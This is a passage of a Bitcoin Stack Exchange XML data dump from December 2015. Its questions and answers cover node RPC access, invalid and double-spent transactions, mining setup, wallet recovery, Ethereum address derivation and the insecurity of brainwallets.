locally:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [version] =&amp;gt; 110100&#xA;    [protocolversion] =&amp;gt; 70002&#xA;    [walletversion] =&amp;gt; 60000&#xA;    [balance] =&amp;gt; 0&#xA;    [blocks] =&amp;gt; 390322&#xA;    [timeoffset] =&amp;gt; 3&#xA;    [connections] =&amp;gt; 11&#xA;    [proxy] =&amp;gt; &#xA;    [difficulty] =&amp;gt; 93448670796.324&#xA;    [testnet] =&amp;gt; &#xA;    [keypoololdest] =&amp;gt; 1419183361&#xA;    [keypoolsize] =&amp;gt; 104&#xA;    [paytxfee] =&amp;gt; 1.0E-5&#xA;    [relayfee] =&amp;gt; 5.0E-5&#xA;    [errors] =&amp;gt; Warning: This version is obsolete; upgrade required!&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only difference between the two is I change the target IP in the PHP file, and I'm running from an external server. Any ideas why I can't hit my locally running node from an external server?&lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-12-26T18:01:46.530" Title="JSON RPC from external server" Tags="|json-rpc|nodes|php|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="42035" PostTypeId="2" ParentId="42032" CreationDate="2015-12-26T19:38:17.933" Score="4" Body="&lt;p&gt;This transaction (&lt;a href=&quot;https://blockchain.info/tx/e8c5489abcb60ecdb925ac880ec1e238c9a65ca4c5480065a6ca268bf00ea7ba&quot; rel=&quot;nofollow&quot;&gt;e8c5...&lt;/a&gt;) will never confirm because its inputs have already been spent by transaction &lt;a href=&quot;https://blockchain.info/tx/93cc4fe50e6069dccb827f56636bb4cd20f9865dd4d7e3b7946bbbca97576e80&quot; rel=&quot;nofollow&quot;&gt;93cc4fe50e6069dccb827f56636bb4cd20f9865dd4d7e3b7946bbbca97576e80&lt;/a&gt;, which currently has 9 confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn't any inherent need to cancel transaction e8c5; the network is never going to consider it valid.  You might want to remove it from your wallet client software in order to avoid having it display an incorrect balance or other confusion.  How to do that will depend on what software you are using.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-12-26T19:38:17.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42036" PostTypeId="1" AcceptedAnswerId="42037" CreationDate="2015-12-26T21:10:17.570" Score="0" ViewCount="125" Body="&lt;p&gt;010000000180692cc54f9082c00a718123539396c42fd1a6d4a77eef677030483ce79fd3e70100000000ffffffff02b0040000000000001976a914817b776c02b9e0fe60163a170b0d72a194a463ef88ace05a0100000000001976a914817b776c02b9e0fe60163a170b0d72a194a463ef88ac00000000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="31470" LastActivityDate="2015-12-26T21:51:37.810" Title="Why is this (testnet) transaction considered invalid?" Tags="|testnet|raw-transaction|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42037" PostTypeId="2" ParentId="42036" CreationDate="2015-12-26T21:51:37.810" Score="0" Body="&lt;p&gt;Data in the transaction looks ok. vout has value of .001 and you are leaving .0001 for a fee.  Maybe not signing it properly :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoin-cli decoderawtransaction 010000000180692cc54f9082c00a718123539396c42fd1a6d4a77eef677030483ce79fd3e70100000000ffffffff02b0040000000000001976a914817b776c02b9e0fe60163a170b0d72a194a463ef88ace05a0100000000001976a914817b776c02b9e0fe60163a170b0d72a194a463ef88ac00000000&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;txid&quot;: &quot;16ee12e50d1ff805e91f34ab313d30009943c703fb142e9f457e0ea96a404e09&quot;,&#xA;  &quot;size&quot;: 119,&#xA;  &quot;version&quot;: 1,&#xA;  &quot;locktime&quot;: 0,&#xA;  &quot;vin&quot;: [&#xA;    {&#xA;      &quot;txid&quot;: &quot;e7d39fe73c48307067ef7ea7d4a6d12fc49693532381710ac082904fc52c6980&quot;,&#xA;      &quot;vout&quot;: 1,&#xA;      &quot;scriptSig&quot;: {&#xA;        &quot;asm&quot;: &quot;&quot;,&#xA;        &quot;hex&quot;: &quot;&quot;&#xA;      },&#xA;      &quot;sequence&quot;: 4294967295&#xA;    }&#xA;  ],&#xA;  &quot;vout&quot;: [&#xA;    {&#xA;      &quot;value&quot;: 0.00001200,&#xA;      &quot;n&quot;: 0,&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;asm&quot;: &quot;OP_DUP OP_HASH160 817b776c02b9e0fe60163a170b0d72a194a463ef OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;        &quot;hex&quot;: &quot;76a914817b776c02b9e0fe60163a170b0d72a194a463ef88ac&quot;,&#xA;        &quot;reqSigs&quot;: 1,&#xA;        &quot;type&quot;: &quot;pubkeyhash&quot;,&#xA;        &quot;addresses&quot;: [&#xA;          &quot;msKbNQHuJoAdK4AKCof6ahoxzBsKG36UyE&quot;&#xA;        ]&#xA;      }&#xA;    },&#xA;    {&#xA;      &quot;value&quot;: 0.00088800,&#xA;      &quot;n&quot;: 1,&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;asm&quot;: &quot;OP_DUP OP_HASH160 817b776c02b9e0fe60163a170b0d72a194a463ef OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;        &quot;hex&quot;: &quot;76a914817b776c02b9e0fe60163a170b0d72a194a463ef88ac&quot;,&#xA;        &quot;reqSigs&quot;: 1,&#xA;        &quot;type&quot;: &quot;pubkeyhash&quot;,&#xA;        &quot;addresses&quot;: [&#xA;          &quot;msKbNQHuJoAdK4AKCof6ahoxzBsKG36UyE&quot;&#xA;        ]&#xA;      }&#xA;    }&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31391" LastActivityDate="2015-12-26T21:51:37.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42038" PostTypeId="1" AcceptedAnswerId="42121" CreationDate="2015-12-26T22:05:47.033" Score="2" ViewCount="486" Body="&lt;p&gt;I've written some code for connecting to the network, receiving inventories, and requesting data. What I am noticing is that my local node never sends me inventory messages with blocks in them unless I specifically request blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I do a getblocks call with a zero stop hash I will get all of the blocks up to the tip, but never any inventory messages after that. Is there some kind of signalling necessary to tell the node i am connected to that I want inventory block messages to stream to me when new blocks are found?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am connecting with protocol version 70002, relaybool is 1, nodeservices is 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see other mentions of this issue so I'm wondering if there is a negotiation issue that isn't being caught or some other problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no visible ban score, connection is from localhost, I get a verack and normal tx inventory messages are streamed. This happens regardless of whether -whitelist is used. I just never get block inventory updates or unsolicited block messages unless I request blocks via getblocks. After I've retreived blocks up until tip streaming does not commence. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: The code has no problem syncing with a bitcoin-core instance on another computer, but the local bitcoin core instance will never send block inventories or respond to getheaders requests. Problem only occurs on localhost to localhost initated connections.&lt;/p&gt;&#xA;" OwnerUserId="31471" LastEditorUserId="31471" LastEditDate="2015-12-31T00:59:40.577" LastActivityDate="2016-01-02T17:17:36.457" Title="Block inventory messages" Tags="|protocol|block|inventory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42039" PostTypeId="1" CreationDate="2015-12-26T22:19:06.697" Score="3" ViewCount="188" Body="&lt;p&gt;I'd like to move all funds into a new, safe wallet. I could just send all funds to a new address in the destination wallet. That would disclose shared ownership of all source addresses, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I move all funds to new private keys while maintaining the ability to deny that those funds belong to a single owner?&lt;/p&gt;&#xA;" OwnerUserId="30276" LastActivityDate="2015-12-29T14:15:32.147" Title="What's a good way to &quot;swipe&quot; all funds into a secure wallet while hiding common ownership?" Tags="|wallet|privacy|traceability|identity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42040" PostTypeId="2" ParentId="42038" CreationDate="2015-12-27T02:01:41.693" Score="2" Body="&lt;p&gt;You need to issue a getdata on the last entry in the returned invs. This is used as trigger that you have processed the response, and the remainer will be sent automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that since version 0.10, Bitcoin Core does no longer use the getdata/inv/getdata/block cycle to synchronize, but getheaders/headers (for synchronizing headers). Actual blocks are then fetched asynchronously from different peers after the headers are discovered.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-12-27T02:01:41.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42041" PostTypeId="1" CreationDate="2015-12-27T05:38:38.153" Score="1" ViewCount="133" Body="&lt;p&gt;I store all of my btc in one address (say from_address), and when I want to send any btc to any address (say to_address) I get a transaction like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;INPUTS: from_address&#xA;OUTPUTS: to_address and from_address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See and example here: &lt;a href=&quot;https://blockchain.info/tx/e0bcd29288deae6611337c75b8236a548926887796501486ffa3c486707d28c6&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/e0bcd29288deae6611337c75b8236a548926887796501486ffa3c486707d28c6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I cannot send any BTC before this transaction is confirmed! and says &quot;Insufficient Funds Available&quot; (as I have all of my BTC in my from_address and it is unconfirmed!!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any tip to send BTC except this?&lt;/p&gt;&#xA;" OwnerUserId="31480" LastActivityDate="2016-01-27T11:26:02.963" Title="I cannot send btc before my last transaction get confirmed" Tags="|transactions|sending|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42042" PostTypeId="1" AcceptedAnswerId="42043" CreationDate="2015-12-27T07:06:33.533" Score="2" ViewCount="416" Body="&lt;p&gt;I am curious to know how and where in the source code, the data from stream is actually sent by a node. As per my understanding the following occurs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ProcessMessage()&lt;/code&gt; issues a &lt;code&gt;PushMessage()&lt;/code&gt; with appropriate parameters&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;PushMessage()&lt;/code&gt; will basically send message headers and parameters into a stream &lt;code&gt;ssData&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ssData&lt;/code&gt; is object of &lt;code&gt;CDataStream&lt;/code&gt; and defined in &lt;code&gt;CNode&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;CDataStream&lt;/code&gt; is in &lt;code&gt;src/stream.h&lt;/code&gt; has no information related to IP or Port&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How does the data being pushed to a stream goes into the correct socket in bitcoin working. Only &lt;code&gt;CNode&lt;/code&gt; class has information on the network address (IP) and TCP Port. How is this information picked up by the datastream? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Adding more findings:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this from &lt;a href=&quot;https://bitcointalk.org/index.php?topic=41727.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=41727.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The socket thread reads the sockets and places data into a CDataStream&#xA;associated with each node called vRecv. The Satoshi client uses C++&#xA;serialization operators &amp;gt;&amp;gt; and &amp;lt;&amp;lt; to read and write to a CDataStream&#xA;and then it uses generic routines to move the data between the streams&#xA;and sockets&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My exact question is where(what) are these mentioned generic routines in source code?&lt;/p&gt;&#xA;" OwnerUserId="31217" LastEditorUserId="31217" LastEditDate="2015-12-27T07:15:11.090" LastActivityDate="2015-12-27T07:50:06.540" Title="How does CDataStream data find its way into a socket?" Tags="|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42043" PostTypeId="2" ParentId="42042" CreationDate="2015-12-27T07:50:06.540" Score="4" Body="&lt;p&gt;&lt;code&gt;CNode&lt;/code&gt; has a method &lt;code&gt;SocketSendData()&lt;/code&gt; which pushes all the serialized data into the socket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/search?utf8=%E2%9C%93&amp;amp;q=SocketSendData&amp;amp;type=Code&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/search?utf8=%E2%9C%93&amp;amp;q=SocketSendData&amp;amp;type=Code&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31482" LastActivityDate="2015-12-27T07:50:06.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42044" PostTypeId="1" AcceptedAnswerId="42048" CreationDate="2015-12-27T14:01:53.680" Score="1" ViewCount="3765" Body="&lt;p&gt;For the moment I'm trying to mine altcoins using an AMD HD6850.&#xA;The version of cgminer is 3.7.2. The pool I'm using is prohashing.com.&#xA;It's a scrypt-mining pool which mines the most profitable coins at the moment. When I'm connecting to the pool, I get decent hashrates for my GPU (200Mh/s), but I get no accepted shares... When I look on the prohashing profile page I see that next to my worker there's following message: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This miner is not responding to work restart testing, so a suboptimal default value was chosen. Use the r= password argument to manually set a default value.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main screen is looking like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3iZJP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3iZJP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My configuration file is as following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setx GPU_MAX_ALLOC_PERCENT 100&#xA;setx GPU_USE_SYNC_OBJECTS 1&#xA;cgminer.exe -o stratum+tcp://prohashing.com:3333 -u CoinHunter -p &quot;&quot; -I 13 -w 256 --thread-concurrency 6144&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changing the difficulty or mining a specific coin didn't do the job...&#xA;Someone who has an idea?&lt;/p&gt;&#xA;" OwnerUserId="31414" LastEditorUserId="2306" LastEditDate="2016-02-05T17:39:40.113" LastActivityDate="2016-02-05T17:39:40.113" Title="Normal hashrate but no accepted shares in" Tags="|mining-pools|cgminer|gpu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42045" PostTypeId="1" CreationDate="2015-12-27T17:12:15.467" Score="3" ViewCount="879" Body="&lt;p&gt;I am a noob to this whole BTC thing, so please bear with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I reformatted my computer and lost everything on it.&#xA;I decided I want to restore my multibit wallet but I only have the following info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Secret words&lt;/li&gt;&#xA;&lt;li&gt;Old password&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I do not have a backup of the wallet file or whatever it is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how do I reopen this wallet with that information? It has a lot of BTCs it in and I really want to salvage it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for reading!&lt;/p&gt;&#xA;" OwnerUserId="31490" LastEditorUserId="18196" LastEditDate="2015-12-27T21:26:49.663" LastActivityDate="2021-12-02T19:06:37.633" Title="MULTIBIT: How to restore wallet with following information?" Tags="|wallet|multibit|wallet-recovery|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42046" PostTypeId="1" AcceptedAnswerId="42047" CreationDate="2015-12-27T17:27:29.493" Score="3" ViewCount="1111" Body="&lt;p&gt;An issue I find when I travel is that I would like to visit a cafe that accepts Bitcoin but because I am abroad I usually don't have an internet connection on my phone. &#xA;I could use WiFi but what is the best way to transact Bitcoin without internet at a point of sale? i.e low value transactions.&lt;/p&gt;&#xA;" OwnerUserId="28157" LastEditorUserId="5406" LastEditDate="2017-01-26T20:37:21.663" LastActivityDate="2017-01-26T20:37:21.663" Title="Transact Bitcoin with no internet" Tags="|wallet|payment|broadcast|point-of-sale|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42047" PostTypeId="2" ParentId="42046" CreationDate="2015-12-27T17:46:55.357" Score="4" Body="&lt;p&gt;To transact in Bitcoin you will need to broadcast the transaction to the Bitcoin network.  At this time an internet connection on your phone is going to be a requirement, a wifi hotspot at the cafe is all you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory there are other ways to get the transaction to the network for example sending the transaction directly from your phone to the point of sale system using NFC or Bluetooth. Search bitcoin over NFC or Bluetooth and you can read about these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending the transaction over SMS is also a possibility in the future&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: As pointed out Bluetooth and NFC support is already built into some wallets. See Bitcoin Wallet or Airbitz for example.&lt;/p&gt;&#xA;" OwnerUserId="31391" LastEditorUserId="31391" LastEditDate="2015-12-29T16:33:03.070" LastActivityDate="2015-12-29T16:33:03.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42048" PostTypeId="2" ParentId="42044" CreationDate="2015-12-27T22:01:02.467" Score="5" Body="&lt;p&gt;200Mh/s is impossibly high for an HD6850 mining scrypt. My bet is that you're mining SHA256d, not scrypt. I don't see a &lt;code&gt;-scrypt&lt;/code&gt; in your configuration file.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-12-27T22:01:02.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42051" PostTypeId="2" ParentId="42041" CreationDate="2015-12-28T11:15:00.980" Score="3" Body="&lt;p&gt;This will happen sometimes, and there's not much you can do about it. Much the same thing happens with cash. Say you have a $100 bill, and you want to pay me $10. In our transaction, the $100 will be split -- you'll get $90 back and I'll get $10. But while that's unfinished, you can't spend your $90 change from the transaction with me because it's not fully yours yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exact mechanics will depend on what unspent outputs you have. If you only have a single output, then you will have no funds available until the transaction confirms. If you have multiple outputs and not all of them are needed for the transaction, then some of them will still be available before the transaction confirms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cash behaves the same way. If you have a $10 bill, a $50 bill, and a $100 bill, you can send someone $60 and still have the $100 bill available. Or you can send someone $65 out of the $100 bill and still have the $10 and the $50 available while that transaction is finalizing.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-12-28T11:15:00.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42052" PostTypeId="2" ParentId="19665" CreationDate="2015-12-28T19:22:57.413" Score="15" Body="&lt;p&gt;I got it to work by adding the password to the --user value, separated with &quot;:&quot;.&#xA;So the example becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --user bitcoinrpc:xxxxxxxxxxxxxxx --data-binary '{&quot;jsonrpc&quot;:&quot;1.0&quot;,&quot;id&quot;:&quot;curltext&quot;,&quot;method&quot;:&quot;getinfo&quot;,&quot;params&quot;:[]}' -H 'content-type:text/plain;' http://127.0.0.1:8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &quot;xxxxxxxxxxxxxxx&quot; is the rpcpassword stored in the .conf file. &lt;/p&gt;&#xA;" OwnerUserId="31520" LastActivityDate="2015-12-28T19:22:57.413" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42053" PostTypeId="1" CreationDate="2015-12-28T21:47:49.877" Score="0" ViewCount="2166" Body="&lt;p&gt;I am very new to bitcoin mining and am unsure if I set up GUIMiner correctly. I have a new MacBook Pro with a discrete graphics card (ATI Radeon R9 M370X) and am getting about 129 Mhash/s according to GUIMiner. However, it says &quot;Shares: 0 accepted&quot; in the bottom left side of the window. How long does it take for shares to accumulate? Did I set something up wrong? It has been running for about 3.5 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="31524" LastActivityDate="2016-03-28T08:09:17.853" Title="How long to get an accepted share?" Tags="|mining-pool-shares|guiminer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42055" PostTypeId="1" CreationDate="2015-12-29T04:41:28.757" Score="6" ViewCount="12376" Body="&lt;p&gt;For a given private key generated by &lt;a href=&quot;https://www.myetherwallet.com/&quot; rel=&quot;noreferrer&quot;&gt;MyEtherWallet&lt;/a&gt;, I would like to see I have the tools to independently arrive at similar results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wrote a wrapper around &lt;a href=&quot;https://github.com/gvanas/KeccakCodePackage/blob/master/Standalone/CompactFIPS202/Keccak-readable-and-compact.c&quot; rel=&quot;noreferrer&quot;&gt;Keccak&lt;/a&gt; to accept both hexadecimal and ASCII inputs to be sha3-224 or sha3-256 or  sha3-384 or sha3-512 hashed. Hashes are consistent with &lt;a href=&quot;http://www.di-mgt.com.au/sha_testvectors.html&quot; rel=&quot;noreferrer&quot;&gt;Test Vectors&lt;/a&gt;. Would like to apply it with bitcoin-explorer (&lt;strong&gt;bx&lt;/strong&gt;) &lt;strong&gt;version3&lt;/strong&gt; commands to see if I can synthesize ETH addresses. If successful at synthesizing addresses for ETH, XMR, and MAX altcoins, I go through the effort of submitting a pull request to add sha3 hashing capabilities to &lt;strong&gt;bx version3&lt;/strong&gt;, and update this &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin/wiki/Altcoin-Version-Mappings&quot; rel=&quot;noreferrer&quot;&gt;Wiki&lt;/a&gt; concerning the application of &lt;strong&gt;bx&lt;/strong&gt; to altcoins.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2019-08-21T13:29:16.007" Title="What is the approach to calculate an Ethereum address from a 256 bit private key?" Tags="|hash|ethereum|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="42057" PostTypeId="2" ParentId="42055" CreationDate="2015-12-29T05:24:21.977" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;Start with the public key bytes (a bytestring of length 64)&lt;/li&gt;&#xA;&lt;li&gt;Of that public key, take the Keccak-256 hash used ubiquitously by Ethereum (make sure you get that right, as the ultimately standardized SHA3-256 hash differs). You should now have a bytestring of length 32.&lt;/li&gt;&#xA;&lt;li&gt;Drop the first 12 bytes. You should now have a bytestring of length 20, the Ethereum address associated with your public key.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Oops! I see you want it from the private key, not the public key. That's harder. You have to first derive the public key from the private key, which is best with the help of an EC crypto library. I can show you some example code in Scala, but the EC math is mostly a black box to me. First, interpret the 256 bit private key as an unsigned big integer. Then, see e.g. &lt;a href=&quot;https://github.com/swaldman/consuela/blob/c373dd6c194ba8671de1d37245b5a34a575a583d/src/main/scala/com/mchange/sc/v1/consuela/crypto/package.scala#L294-L298&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. &lt;code&gt;Curve&lt;/code&gt; represents the named eliptic curve &lt;code&gt;secp256k1&lt;/code&gt;. The details of the math are, alas, beyond me, but hopefully in whatever environment you are coding you have access to a high quality crypto library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt; In the comment thread, I speculated about where Ethereum's hash function diverged from the SHA3 standard. My speculation was mistaken, the version I thought was the incompatible change is the version Ethereum in fact uses. Thanks to work by &lt;a href=&quot;https://www.kestrel.edu/home/people/mccarthy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Eric McCarthy&lt;/a&gt;, who chased this down in great detail. Please see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/42055/what-is-the-approach-to-calculate-an-ethereum-address-from-a-256-bit-private-key/42057#comment102225_42057&quot;&gt;this comment below&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="26719" LastEditorUserId="26719" LastEditDate="2019-07-24T14:06:04.987" LastActivityDate="2019-07-24T14:06:04.987" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="42058" PostTypeId="1" AcceptedAnswerId="42063" CreationDate="2015-12-29T06:35:04.560" Score="0" ViewCount="182" Body="&lt;p&gt;I'm confused with the details in double spend detection. my question is if &lt;strong&gt;Alice&lt;/strong&gt; first sends her 10 BTC to &lt;strong&gt;Bob&lt;/strong&gt;, and then sends the same 10 BTC to an address that belongs to herself. How do Bitcoin clients detect the second transaction is invalid? In other word, how can client know these bitcoins have been spent in the first transaction? Does the clients trace back all the blocks to check if these bitcoin have been spent before?&lt;/p&gt;&#xA;" OwnerUserId="31270" LastEditorUserId="5292" LastEditDate="2015-12-29T12:33:34.700" LastActivityDate="2015-12-29T12:33:34.700" Title="Details in double spend detection" Tags="|doublespend|" AnswerCount="1" CommentCount="0" ClosedDate="2015-12-29T13:32:12.217" ContentLicense="CC BY-SA 3.0" />
  <row Id="42059" PostTypeId="2" ParentId="42053" CreationDate="2015-12-29T06:37:41.423" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The Bitcoin network has a global block difficulty. Valid blocks must&#xA;  have a hash below this target. Mining pools also have a pool-specific&#xA;  share difficulty setting a lower limit for shares.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;ASIC hardware is required for profitable mining because the current difficulty is extremely high as a result of increased hashing power coming online. GPU mining is unable to compete with this specialized hardware. It is most likely the case that your GPU is unable to find any valid shares within the ~10 minute timeframe that occurs between discovery of new blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1505/what-is-a-share-can-i-find-it-while-mining-solo-or-only-when-pool-mining&quot;&gt;this response&lt;/a&gt; for more information&lt;/p&gt;&#xA;" OwnerUserId="31537" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-12-29T06:37:41.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42060" PostTypeId="2" ParentId="41618" CreationDate="2015-12-29T06:40:42.607" Score="5" Body="&lt;p&gt;Someone else already mentioned entropy.  Humans are really bad at creating randomness.  But that's only one part of it.  The other part is time, and how it's on the attacker's side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An attacker can generate a lot of brainwallets with a lot of different words and phrases.  Then they watch the blockchain to see if any of those addresses receive coins.  If they do, the attacker swoops in and steals the coins.  What does the attacker do while he's waiting?  Generate more brainwallets!  Every dictionary word.  Every l33tspeak variant of every dictionary word.  All short phrases.  All phrases in every book, ever.  &lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/1ptuf3/brain_wallet_disaster/&quot; rel=&quot;noreferrer&quot;&gt;Obscure foreign-language poems.&lt;/a&gt;  Bitcoin addresses don't take up much storage space, so the attacker can keep them all and watch them.  He has all the time in the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you'll be lucky and find a passphrase that no one else has generated.  But it's risky.  On the other hand, you can easily generate a secure and memorable wallet with &lt;a href=&quot;http://electrum.org/&quot; rel=&quot;noreferrer&quot;&gt;Electrum&lt;/a&gt;, which translates a 128-bit random key into twelve words.  There are also other mnemonic systems you can use.  So why risk getting your coins stolen from your brainwallet when it's so easy to store them securely?&lt;/p&gt;&#xA;" OwnerUserId="13145" LastActivityDate="2015-12-29T06:40:42.607" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42061" PostTypeId="2" ParentId="8449" CreationDate="2015-12-29T06:48:16.607" Score="4" Body="&lt;p&gt;This question is marked as answered, but it was answered back in 2013.  The answer has changed since then.  Here's a reply from 2015.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brainwallets are hideously insecure.  Don't use them.  EVER!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't take my word for it.  Here are some references:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coindesk.com/new-cracking-tool-exposes-major-flaw-in-bitcoin-brainwallets/&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/new-cracking-tool-exposes-major-flaw-in-bitcoin-brainwallets/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Brainwallet#Low_Entropy_from_Human-Generated_Passphrases&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Brainwallet#Low_Entropy_from_Human-Generated_Passphrases&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want an easy-to-memorize phrase, use Electrum or BIP0039.  Don't use a brainwallet.&lt;/p&gt;&#xA;" OwnerUserId="13145" LastActivityDate="2015-12-29T06:48:16.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
